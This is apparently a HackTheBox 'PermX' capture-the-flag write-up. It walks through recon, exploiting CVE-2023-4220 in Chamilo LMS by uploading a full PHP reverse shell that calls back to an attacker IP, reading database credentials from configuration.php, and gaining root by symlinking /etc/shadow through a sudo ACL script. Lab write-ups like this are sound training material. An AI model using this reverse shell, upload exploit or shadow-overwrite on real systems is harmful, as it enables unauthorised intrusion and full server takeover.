Post

HackTheBox PermX Writeup

Explore the fundamentals of cybersecurity in the PermX Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts

Edit the /etc/hosts file and add the following entries:

1
10.10.11.23 permx.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.23"
domain="permx.htb lms.permx.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV permx.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 16:35 CEST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Subdomain Enumeration with ffuf

1
ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -c -fc 302
  • Discovered Subdomains:
    • lms.permx.htb: [Status: 200, Size: 19347, Words: 4910, Lines: 353]

Exploiting CVE-2023-4220 on Chamilo LMS

Make the file rce.php

Replace <vpn-ip> with your actual VPN IP to receive the connection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
   $pid = pcntl_fork();
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   if ($pid) {
      exit(0);
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }
   $daemon = 1;
} else {
   printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w") 
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
?> 

Start a listener for the reverse shell:

1
nc -lvnp 9001

Upload PHP Reverse Shell:

1
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Invoke the Uploaded Shell:

1
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

Database Enumeration

Navigate to the Chamilo LMS directory and look for the configuration.php file, which may contain database credentials.

1
2
cd /var/www/chamilo
find ./ -type f -name "configuration.php" -exec ls -l {} \;

Extract database credentials from the configuration file:

1
cat ./app/config/configuration.php | grep "db_"

Privilege Escalation

SSH into the Server: Log in using mtz credentials (if found in the database):

1
ssh mtz@permx.htb

Check Sudo Permissions: Check what mtz can run with sudo:

1
sudo -l

Output:

1
(ALL : ALL) NOPASSWD: /opt/acl.sh

Exploit ACL Script for Privilege Escalation:

The script /opt/acl.sh can be used to manipulate file permissions. Create a symbolic link to /etc/shadow, the file storing password hashes, and manipulate its permissions.

1
2
ln -s /etc/shadow /home/mtz/shadow
sudo /opt/acl.sh mtz xrw /home/mtz/shadow

Edit the shadow file with nano to replace the root password hash with one you control.

1
nano /home/mtz/shadow

Gain Root Access: After editing the shadow file, you can switch to the root user using su:

1
2
su
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.